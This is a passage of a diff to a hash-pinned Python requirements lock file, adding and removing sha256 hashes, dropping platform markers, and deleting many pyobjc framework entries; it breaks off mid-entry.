--hash=sha256:0384e2e1021894b1ff5a786dbf94771e2986ebe2869533874d7e43bc79c6f504 \ + --hash=sha256:03b77d184b9eb40240ae9fd676ca364ce1085f203e1b1256f8ab9984dca80a84 \ + --hash=sha256:03ca43e12fab6023fc79d28ca6b39b05f794ad08ec2feccc59a339b02f2b3d33 \ + --hash=sha256:05a2c8852530ad2812cb7914dc61a1125dc4e06252ee98e5638a12da6cc6fb6c \ + --hash=sha256:070259a8818988b9a84a449a2a7337c7f430a22acc0859c6b110aa7212a6d9c0 \ --hash=sha256:08daa51ea16ad373ffd5e7606252cc32f07bc72b28284b6bc9c6df804816476e \ + --hash=sha256:0cbaad15cb0c90aa221d43c00e77bb33c93e8d36e0bf74760cd00e732d10a6a0 \ + --hash=sha256:100baa204bb412b74fe285fb0f3a385256dad1d1879f0a5cb1499ed2e83d132a \ + --hash=sha256:112e305c3314f40c93998e567879e887a3160bb8689ef3d2c04b6cc62c33ac34 \ + --hash=sha256:16f80f7abe3351f8ea6858914ddc8c77e02578544a0ebc15b4c2e1a0e813b0b2 \ + --hash=sha256:1746d4a3d9a794cacae06a5eaaccb4b8643a131d45fbc9af23e353dc0a5ba5c3 \ + --hash=sha256:1962293292865bca8e54702b08a4f26da73adc83dd1fcf26fbc875b35d81c815 \ + --hash=sha256:1d1d9764366c73f996edd17abb6d9d7649a7eb690006ab6adbda117717099b14 \ + --hash=sha256:1f8d33a7f4d5a7889e60dc39856d76d09333d8a6ed0f5f1190635cbec70ec4ba \ --hash=sha256:22f0fb8c1c583a3b6f24df2470833b40207e907b90c928cc8d3594b76f874375 \ + --hash=sha256:239edca560d05757817c13dc17c50766136d21f7cd0fac50295499ae24f90fdf \ + --hash=sha256:242a206cd0318f95cd21bdacff3fcc3aab23e79bba5cac3db5a841c9ef9c6963 \ + --hash=sha256:25e1c2af0fce638d5f1988b686f3b3ea8cd7de5f244ca147c777769e798a9cd1 \ + --hash=sha256:266fb4cbf5e3cbd0b53669a6d1b039c45e3ce651fd5442eff4d07c2cc8d66808 \ + --hash=sha256:2782c870e99878c634505236d81e5443092fba820f0373997ff75f90f68cd553 \ + --hash=sha256:287dad91cfb551c363dc62899a80e9e14da1f0e2b6ebde82c806612ca2a13ef1 \ + --hash=sha256:29452c56df2ed968d18d7e21f4ab0ac55e71dc59524872f6fc57dcf4a3249ed2 \ + --hash=sha256:299e0a22e7ae2b85c1a57f104538b2656e8ab1873511fd718a1c1c6f149b77b5 \ --hash=sha256:2a5e06546e19f24c6a96a129142a75cee553cc018ffee48a460059b1185f4470 \ + --hash=sha256:2b761d210c9ea91feda40d25b4efe82a1707da2ef62901466a42492c028553a2 \ + --hash=sha256:2c010c6ded393148374c0f6f0bf89d206bf3217f201faa0635dcd56bd1520f6b \ --hash=sha256:2ff4321e56e879ee8d2a879501c8e469414d948f4aba74a2d4593184eb326660 \ + --hash=sha256:3006c3dd9ba34b0c094c544c6006cc79e87d8612999f1a5d43b769b89181f23c \ + --hash=sha256:33cb885e759a705b426baada1fe68cbb0a2e68e34c5d0d0289a364cf01709093 \ + --hash=sha256:346285d28e4c8017da95144c7f3acd42740d637ff41946af5ce6e5e420502dd5 \ + --hash=sha256:34a64bc3441dc1213096a20fe27e8e128bd3ff89921706e83c0b1ac971276594 \ + --hash=sha256:35b44f37a3199f771c3eaa53051bc8a70cd7b54f333531c59e29fd4db5d15008 \ + --hash=sha256:378bec5c66998815d224c9ca994f1e14c0c21cb95d2f52b6021cc0b2a58f2a5a \ + --hash=sha256:3f37a19d7ebcdd20b96485056ba9e8b304e27d9904d233d7b1015db320e51f0a \ + --hash=sha256:3f84d5c1b4ab906093bdc1ff10484838aca54ef08de4afa9de0f5f14d69639cd \ + --hash=sha256:4009935984bd36bd2c774e13f9a09563ce8de4abaa7226f5108262fa3e637284 \ --hash=sha256:406bf18d345822d6c21366031003612b9c77b3e29ffdb0f612367352aab7d586 \ + --hash=sha256:4819fa52133c9aa3c387b3328f25c1facc356491e6135b459f1de698ff64d869 \ + --hash=sha256:482c982f814460eabe1d3bb0adfdc583387bd4691ef00b90575ca0d2b6fe2294 \ + --hash=sha256:4bc36bbc0b7584de96561184ad7f012478987882ebf9f9c389b23f432ea3d90f \ + --hash=sha256:506d766a8727beef16b7adaeb8ee6217c64fc813646b424d0804d67c16eddb66 \ + --hash=sha256:56121965f7a4dc965bff783d70b907ddf3d57f6eba29b6d2e5dabfaf07799c51 \ + --hash=sha256:58133647260ea01e4d0500089a8c4f07bd7aa6ce109682b1426394988d8aaacc \ + --hash=sha256:5921a4d3ca3aee735d9fd163808f5e8dd6c6972101e4adbda9a4667908849b97 \ + --hash=sha256:5a4e67afbc95fa5c34cf27d9089bca7fcab4e51e57278d710320a70b956d1b9a \ + --hash=sha256:5cb1b2f9742240e4bb26b652a5aeb840aa4b417c7748b6f8387927bc6e45e40d \ + --hash=sha256:62de39db01b8d593e45871af2af9e497295db8d73b085f6bfd0b18c83c70a8f9 \ + --hash=sha256:634e8609e89ceecea15e2d61bc9ac3718caaaa71963717bf3c8f38bfde64242c \ + --hash=sha256:63510af5e38f8955b8ee5687740d6ebf7c2a0886d15a6d65c32814613681bc07 \ + --hash=sha256:650ae77860b45cfa6e2cdafc42618ceafab3a2d9a3811fcfbd3bbf8ac3c40d36 \ + --hash=sha256:6561e94ba9dacc9c61bce40e2d6bdc3bfaa0259d3ff36ace3b1e6901936d2e3e \ + --hash=sha256:65840751b72fbfd82c3c640cff9284545342a4f1eb1586ad0636955b261b0b05 \ + --hash=sha256:6cb58b9c66f7e4179a2d5e0f849c48eff5c1fca560994d6eb6543abf955a149e \ + --hash=sha256:6f52298fbd394f9ed112d56f3d11aabd0d5bd27beb3084cc3d8ad069483b8941 \ + --hash=sha256:707625ef0983fcfb461acfaf14de2067c5942c6bb0f3b4c99158bed6fedd3cf3 \ + --hash=sha256:72f6c8b11857a856bcfa48c86f5368439f74453563f951e473514579d44aa612 \ + --hash=sha256:753e230374206729bf0a807954bcc6c150d3743928a73faffee51ac6557a03c3 \ --hash=sha256:76d0819de158cd855d1cbb8fcafdf6f5cf1eb8e470abe056d5d161106e38062b \ + --hash=sha256:76ee27c6e9c7f16f47db7a94157112a2f3a00e958bc626e2f4ee8bec5c328fbe \ + --hash=sha256:77b63866ca88d804225eaa4af3e664c5faf3568cea95360d21f4725ab6e07146 \ + --hash=sha256:79ec52ec461e99e13791ec6508c722742ad745571f234ea6255bed38c6480f11 \ + --hash=sha256:7b93a4d08587e2b7e7882de461e82b6ed76d9026ce91ca7915e740ecc7855f60 \ + --hash=sha256:7da7087d756b19037bc2c06edc6c170eeef3c3bafcb8f532ff17d64dc427adfd \ + --hash=sha256:7f3bf998340c6d4b0c9a2f02d6a400e51f123b59565d74dc60d252ce888c260b \ + --hash=sha256:80aa89cad80b32a912a65332f64a4450ed00966111b6615ca6816153d3585a8c \ + --hash=sha256:8566def80554c3faa0e65ac30ab0932b9e3a5cd7f8323764303d468e5c37595a \ + --hash=sha256:873e0d5b4fb9b89ef7c2d2a963ea7d02879d9da0da8d9d4933dee8ee86a8b460 \ + --hash=sha256:88942d3a3dff3afc8288c21e565e476fc278902ae4d6d134f1eeda118cc830b1 \ + --hash=sha256:8bfeaf8735be79f225f3fefab7f941c712aaca36f1128c9d7e2352ee1aa87bdf \ + --hash=sha256:8e7c86f27c585ef37c35e56a96363ab8de4e549a95512445b85c96d3e2f7c1bf \ --hash=sha256:915c3d10f81bec3a74fbd4faebe8391013ba61e5a1a8d48c4455b923bdda7858 \ + --hash=sha256:93e8740d7503eb008aa2df04d3b9735f845d43ae845e6dcd2be0b55a2da43cd2 \ + --hash=sha256:941103c9be18ac8daf7b7adca8228f8ed6bb7a1849020f643b3a14d15b1924d9 \ + --hash=sha256:97aeba56665b4c3235a0e52b2c2f5ae9cd071b8a8310ad27bddb3f7fb30e9aa2 \ + --hash=sha256:a39455728aabd58ceabb03c90e12f71fd30fa69615760a075b9fec596456ccc3 \ + --hash=sha256:a3a52f6156e73e7ccb0f8cced536adccb7042be67cb45f9562e12b319c119da6 \ + --hash=sha256:a668ce24de96165bb239160b3d854943128f4334822900534f2fe947930e5770 \ + --hash=sha256:a75dafbf87d6276ddc5b2bf6fae5254e3d0876b626eb24969a574fff9149ee5d \ + --hash=sha256:aabf5777b5c8ca26f7824cb4a120a740c9588ed58df9b2d196ce92fba42ff8dc \ + --hash=sha256:aec5cf2fd867b4ff45b9959f8b20ea3993fc93e63c7363fe6851424c8a7e7c23 \ + --hash=sha256:b2379fa7ed44ddecb5bfe4e48577d752db9fc10be00a6b7446e9663ba143de26 \ + --hash=sha256:b4ececa40ac28afa90871c2cc2b9ffd2ff0bf749380fbdf57d165fd23da353aa \ + --hash=sha256:b5819cd790dbf0c5eb9f82c73c16b39a65dd6dd4d1439dcdea7816ec9adddab8 \ + --hash=sha256:b74557b16e390ec12dca509bce9264c3bbd128f8a2c376eaa68003d7f327276d \ + --hash=sha256:b80aa5095cd3109962a298ce14110ae16b8c1aece8b72f9dafe81cf597ad80b3 \ + --hash=sha256:b93590ae81f7010dbe380cdeab6f515902ebcbefe0b9327cc4804d74e93ae69d \ + --hash=sha256:b96d5f26b05d03cc60f11a7761a5ded1741da411e7fe0909e27a5e6a0cb7b034 \ + --hash=sha256:bd3d54f38609ff308209bd43acea66061494157703364ae40c951f83ba99a1a9 \ --hash=sha256:bfea2a5f0b4d8d43adf9d7b8bf019fb46fdd10a2e5cde477fbcb9d1fa08c68e1 \ + --hash=sha256:c007fe8a43d43b3969e8469004e9845944f1a80e6acd47c150856bb87f230c56 \ + --hash=sha256:c1df3d34aced70add6f867a8cf413e299177e0c22660cc767218373d0779487b \ + --hash=sha256:c23e27686783f60290e36827f9c626e63154b82b116d7fe9adba1fda36da706c \ + --hash=sha256:c8d8b4eb992936023be7dee581270af5c6e0697a8559895f527f5b7105ecd36a \ + --hash=sha256:c9e19dd6e28fdcaa5a1de679aec4141f691023916427ef9bae8584f9c2fb3b0e \ + --hash=sha256:d0d2568a8c11bf8225044aa94409e21da0cb09dcdafe9ecd10250b2baad531a9 \ + --hash=sha256:d38548150c39b74aeeb0ce8ee1d8e82696f4a4e16ddc6de7b1d8823f7de4b9b5 \ + --hash=sha256:d3a978c4f57a597908b7e697229d996d77a6d3c94901e9edee593adada95ce1a \ + --hash=sha256:d5160812ea7a8a2ffbe233d8da666880cad0cbaf5d4de74ae15c313213d62556 \ + --hash=sha256:dc799088c08fa04e43144b164feb0c13f9a0bc40503f8df3e9fde58a3c0c101e \ + --hash=sha256:df3959765b553b9440adfd3c795617c352154e497a4eaf3752555cfb5da8fc49 \ + --hash=sha256:dfa8a0c812ac681395907e71e1274819dec685fec28273a28905df579ef137e2 \ + --hash=sha256:e25c479382d26a2a41b7ebea1043564a937db462816ea07afa8a44c0866d52f9 \ + --hash=sha256:e4f4a984405e91527a0d62649ee21138f8e3d0ef103be488c1dc11a80d7f184b \ + --hash=sha256:e536c98a7626a98feb2d3eaf75944ef6f3dbee447e1f841eae16f2f0a72d8ddc \ --hash=sha256:e56ba91f47764cc14f1daacd723e3e82d1a89d783f0f5afe9c364b8bb491ccdb \ - --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c -pydantic-settings==2.11.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ + --hash=sha256:e672ba74fbc2dc8eea59fb6d4aed6845e6905fc2a8afe93175d94a83ba2a01a0 \ + --hash=sha256:e7b576130c69225432866fe2f4a469a85a54ade141d96fd396dffcf607b558f8 \ + --hash=sha256:e8465ab91a4bd96d36dde3263f06caa6a8a6019e4113f24dc753d79a8b3a3f82 \ + --hash=sha256:e96cea19e34778f8d59fe40775a7a574d95816eb150850a85a7a4c8f4b94ac69 \ + --hash=sha256:ece5c59f0ce7d001e017643d8d24da587ea1f74f6993467d85ae8a5ef9d4f42b \ + --hash=sha256:eceb81a8d74f9267ef4081e246ffd6d129da5d87e37a77c9bde550cb04870c1c \ + --hash=sha256:ed2e99c456e3fadd05c991f8f437ef902e00eedf34320ba2b0842bd1c3ca3a75 \ + --hash=sha256:f0cd744688278965817fd0839c4a4116add48d23890d468bc436f78beb28abf5 \ + --hash=sha256:f14f8f046c14563f8eb3f45f499cc658ab8d10072961e07225e507adb700e93f \ + --hash=sha256:f15489ba13d61f670dcc96772e733aad1a6f9c429cc27574c6cdaed82d0146ad \ + --hash=sha256:f31d95a179f8d64d90f6831d71fa93290893a33148d890ba15de25642c5d075b \ + --hash=sha256:f41a7489d32336dbf2199c8c0a215390a751c5b014c2c1c5366e817202e9cdf7 \ + --hash=sha256:f41eb9797986d6ebac5e8edff36d5cef9de40def462311b3eb3eeded1431e425 \ + --hash=sha256:f547144f2966e1e16ae626d8ce72b4cfa0caedc7fa28052001c94fb2fcaa1c52 +pydantic-settings==2.11.0 \ --hash=sha256:d0e87a1c7d33593beb7194adb8470fc426e95ba02af83a0f23474a04c9a08180 \ --hash=sha256:fe2cea3413b9530d10f3a5875adffb17ada5c1e1bab0b2885546d7310415207c -pygments==2.20.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pygments==2.20.0 \ --hash=sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f \ --hash=sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176 -pyjwt==2.15.0 ; platform_machine == 'x86_64' and sys_platform == 'linux' \ +pyjwt==2.15.0 \ --hash=sha256:7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8 \ --hash=sha256:b11c5f9791d7bf51c2b39a81ed669f6b2dbbd669df2942f6c60167e9e3d1abe4 -pyobjc==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:903f822cba40be53d408b8eaf834514937ec0b4e6af1c5ecc24fcb652812dd85 \ - --hash=sha256:a71b14389657811d658526ba4d5faba4ef7eadbddcf9fe8bf4fb3a6261effba3 -pyobjc-core==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b63d4d90c5df7e762f34739b39cc55bc63dbcf9fb2fb3f2671e528488c7a87fe -pyobjc-framework-accessibility==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:c0fa5f1e00906ec002f582c7d3d80463a46d19f672bf5ec51144f819eeb40656 -pyobjc-framework-accounts==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:384fec156e13ff75253bb094339013f4013464f6dfd47e2f7de3e2ae7441c030 \ - --hash=sha256:9c3fe342be7b8e73cba735e5a38affbe349cf8bc19091aa4fd788eabf2074b72 -pyobjc-framework-addressbook==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ce2db3be4a3128bf79d5c41319a6d16b73754785ce75ac694d0d658c690922fc -pyobjc-framework-adservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:1744f59a75b2375e139c39f3e85658e62cd10cc0f12b158a80421f18734e9ffc \ - --hash=sha256:44c72f8163705c9aa41baca938fdb17dde257639e5797e6a5c3a2b2d8afdade9 -pyobjc-framework-adsupport==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:78b9667c275785df96219d205bd4309731869c3298d0931e32aed83bede29096 \ - --hash=sha256:c3e009612778948910d3a7135b9d77b9b7c06aab29d40957770834c083acf825 -pyobjc-framework-applescriptkit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:477707352eaa6cc4a5f8c593759dc3227a19d5958481b1482f0d59394a4601c3 \ - --hash=sha256:e22cbc9d1a25a4a713f21aa94dd017c311186b02062fc7ffbde3009495fb0067 -pyobjc-framework-applescriptobjc==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ac22526fd1f0a3b07ac1d77f90046b77f10ec9549182114f2428ee1e96d3de2b \ - --hash=sha256:c8a0ec975b64411a4f16a1280c5ea8dbe949fd361e723edd343102f0f95aba6e -pyobjc-framework-applicationservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:03fcd8c0c600db98fa8b85eb7b3bc31491701720c795e3f762b54e865138bbaf -pyobjc-framework-apptrackingtransparency==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:796cc5f83346c10973806cfb535d4200b894a5d2626ff2eeb1972d594d14fed4 \ - --hash=sha256:e25c3eae25d24ee8b523b7ecc4d2b07af37c7733444b80c4964071dea7b0cb19 -pyobjc-framework-audiovideobridging==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:12756b3aa35083b8ad5c9139b6a0e2f4792e217096b5bf6b702d499038203991 -pyobjc-framework-authenticationservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8fd801cdb53d426b4e678b0a8529c005d0c44f5a17ccd7052a7c3a1a87caed6a -pyobjc-framework-automaticassessmentconfiguration==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:70eadbf8600101901a56fcd7014d8941604e14f3b3728bc4fb0178a9a9420032 -pyobjc-framework-automator==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:9b46c55a4f9ae2b3c39ff560f42ced66bdd18c093188f0b5fc4060ad911838e4 -pyobjc-framework-avfoundation==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6663056cc6ca49af8de6d36a7fff498f51e1a9a7f1bde7afba718a8ceaaa7377 -pyobjc-framework-avkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '13.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:d948204a7b94e0e878b19a909f9b33342e19d9ea519571d66a21fce8f72e3263 -pyobjc-framework-avrouting==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:7db1291d9f53cc58d34b2a826feb721a85f50ceb5e71952e8762baacd3db3fc0 -pyobjc-framework-backgroundassets==11.1 ; platform_machine == 'x86_64' and platform_release >= '22.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:2e14b50539d96d5fca70c49f21b69fdbad81a22549e3630f5e4f20d5c0204fc2 -pyobjc-framework-browserenginekit==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.4' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:918440cefb10480024f645169de3733e30ede65e41267fa12c7b90c264a0a479 -pyobjc-framework-businesschat==11.1 ; platform_machine == 'x86_64' and platform_release >= '18.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:69589d2f0cb4e7892e5ecc6aed79b1abd1ec55c099a7faacae6a326bc921259d \ - --hash=sha256:7fdc1219b988ce3ae896bffd01f547c06cec3b4e4b2d0aa04d251444d7f1c2db -pyobjc-framework-calendarstore==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:858ee00e6a380d9c086c2d7db82c116a6c406234038e0ec8fc2ad02e385dc437 \ - --hash=sha256:bf066e17392c978becf17a61863eb81727bf593a2bfdab261177126072557e24 -pyobjc-framework-callkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b84d5ea38dff0cbe0754f5f9f6f33c742e216f12e7166179a8ec2cf4b0bfca94 -pyobjc-framework-carbon==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:047f098535479efa3ab89da1ebdf3cf9ec0b439a33a4f32806193886e9fcea71 \ - --hash=sha256:1bf66853e939315ad7ee968170b16dd12cb838c42b80dfcd5354687760998825 -pyobjc-framework-cfnetwork==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ad600163eeadb7bf71abc51a9b6f2b5462a018d3f9bb1510c5ce3fdf2f22959d -pyobjc-framework-cinematic==11.1 ; platform_machine == 'x86_64' and platform_release >= '23.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b62c024c1a9c7890481bc2fdfaf0cd3c251a4a08357d57dc1795d98920fcdbd1 \ - --hash=sha256:efde39a6a2379e1738dbc5434b2470cd187cf3114ffb81390b3b1abda470b382 -pyobjc-framework-classkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '20.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:ee1e26395eb00b3ed5442e3234cdbfe925d2413185af38eca0477d7166651df4 -pyobjc-framework-cloudkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:40d2dc4bf28c5be9b836b01e4d267a15d847d756c2a65530e1fcd79b2825e86d \ - --hash=sha256:c583e40c710cf85ebe34173d1d2995e832a20127edc8899b2f35b13f98498af1 -pyobjc-framework-cocoa==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:87df76b9b73e7ca699a828ff112564b59251bb9bbe72e610e670a4dc9940d038 -pyobjc-framework-collaboration==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:3629ea5b56c513fb330d43952afabb2df2a2ac2f9048b8ec6e8ab4486191390a \ - --hash=sha256:4564e3931bfc51773623d4f57f2431b58a39b75cb964ae5c48d27ee4dde2f4ea -pyobjc-framework-colorsync==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:7a346f71f34b2ccd1b020a34c219b85bf8b6f6e05283d503185aeb7767a269dd \ - --hash=sha256:d19d6da2c7175a3896a63c9b40a8ab98ade0779a5b40062789681501c33efd5c -pyobjc-framework-contacts==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:752036e7d8952a4122296d7772f274170a5f35a53ee6454a27f3e1d9603222cc -pyobjc-framework-contactsui==11.1 ; platform_machine == 'x86_64' and platform_release >= '15.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:5bc29ea2b10a342018e1b96be6b140c10ebe3cfb6417278770feef5e88026a1f -pyobjc-framework-coreaudio==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:b7b89540ae7efc6c1e3208ac838ef2acfc4d2c506dd629d91f6b3b3120e55c1b -pyobjc-framework-coreaudiokit==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:0b461c3d6123fda4da6b6aaa022efc918c1de2e126a5cf07d2189d63fa54ba40 -pyobjc-framework-corebluetooth==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:1deba46e3fcaf5e1c314f4bbafb77d9fe49ec248c493ad00d8aff2df212d6190 -pyobjc-framework-coredata==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:fe9fd985f8e06c70c0fb1e6bbea5b731461f9e76f8f8d8e89c7c72667cdc6adf -pyobjc-framework-corehaptics==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8f8c47ccca5052d07f95d2f35e6e399c5ac1f2072ba9d9eaae902edf4e3a7af4 \ - --hash=sha256:e5da3a97ed6aca9b7268c8c5196c0a339773a50baa72d1502d3435dc1a2a80f1 -pyobjc-framework-corelocation==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:46a67b99925ee3d53914331759c6ee110b31bb790b74b05915acfca41074c206 -pyobjc-framework-coremedia==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:82cdc087f61e21b761e677ea618a575d4c0dbe00e98230bf9cea540cff931db3 -pyobjc-framework-coremediaio==11.1 ; platform_machine == 'x86_64' and platform_release >= '11.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:bccd69712578b177144ded398f4695d71a765ef61204da51a21f0c90b4ad4c64 -pyobjc-framework-coremidi==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:095030c59d50c23aa53608777102bc88744ff8b10dfb57afe24b428dcd12e376 -pyobjc-framework-coreml==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:775923eefb9eac2e389c0821b10564372de8057cea89f1ea1cdaf04996c970a7 -pyobjc-framework-coremotion==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:5884a568521c0836fac39d46683a4dea3d259a23837920897042ffb922d9ac3e -pyobjc-framework-coreservices==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:cf8eb5e272c60a96d025313eca26ff2487dcd02c47034cc9db39f6852d077873 -pyobjc-framework-corespotlight==11.1 ; platform_machine == 'x86_64' and platform_release >= '17.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:4dd363c8d3ff7619659b63dd31400f135b03e32435b5d151459ecdacea14e0f2 -pyobjc-framework-coretext==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:a29bbd5d85c77f46a8ee81d381b847244c88a3a5a96ac22f509027ceceaffaf6 -pyobjc-framework-corewlan==11.1 ; platform_machine == 'x86_64' and platform_release >= '10.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:4a8afea75393cc0a6fe696e136233aa0ed54266f35a47b55a3583f4cb078e6ce -pyobjc-framework-cryptotokenkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '14.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:5f82f44d9ab466c715a7c8ad4d5ec47c68aacd78bd67b5466a7b8215a2265328 -pyobjc-framework-datadetection==11.1 ; platform_machine == 'x86_64' and platform_release >= '21.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:5afd3dde7bba3324befb7a3133c9aeaa5088efd72dccc0804267a74799f4a12f \ - --hash=sha256:cbe0080b51e09b2f91eaf2a9babec3dcf2883d7966bc0abd8393ef7abfcfc5db -pyobjc-framework-devicecheck==11.1 ; platform_machine == 'x86_64' and platform_release >= '19.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:8b05973eb2673571144d81346336e749a21cec90bd7fcaade76ffd3b147a0741 \ - --hash=sha256:8edb36329cdd5d55e2c2c57c379cb5ba1f500f74a08fe8d2612b1a69b7a26435 -pyobjc-framework-devicediscoveryextension==11.1 ; platform_machine == 'x86_64' and platform_release >= '24.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:96e5b13c718bd0e6c80fbd4e14b8073cffc88b3ab9bb1bbb4dab7893a62e4f11 \ - --hash=sha256:ae160ea40f25d3ee5e7ce80ac9c1b315f94d0a4c7ccb86920396f71c6bf799a0 -pyobjc-framework-dictionaryservices==11.1 ; platform_machine == 'x86_64' and platform_release >= '9.0' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:39c24452d0ddd037afeb73a1742614c94535f15b1c024a8a6cc7ff081e1d22e7 \ - --hash=sha256:92f4871066653f18e2394ac93b0a2ab50588d60020f6b3bd93e97b67cd511326 -pyobjc-framework-discrecording==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:37585458e363b20bb28acdb5cc265dfca934d8a07b7baed2584953c11c927a87 -pyobjc-framework-discrecordingui==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:33233b87d7b85ce277a51d27acca0f5b38485cf1d1dc8e28a065910047766ee2 \ - --hash=sha256:a9f10e2e7ee19582c77f0755ae11a64e3d61c652cbd8a5bf52756f599be24797 -pyobjc-framework-diskarbitration==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6a8e551e54df481a9081abba6fd680f6633babe5c7735f649731b22896bb6f08 \ - --hash=sha256:a933efc6624779a393fafe0313e43378bcae2b85d6d15cff95ac30048c1ef490 -pyobjc-framework-dvdplayback==11.1 ; platform_machine == 'x86_64' and platform_system == 'darwin' and sys_platform == 'linux' \ - --hash=sha256:6094e4651ea29540ac817294b27e1596b9d1883d30e78fb5f9619daf94ed30cb \ - --hash=sha256:b44c36a62c8479e649133216e22941859407cca5796b5f778815ef9340a838f4 -pyobjc-framework-eventkit==11.1 ; platform_machine == 'x86_64' and platform_release >= '12.0' and platform_system == 'darwin' and 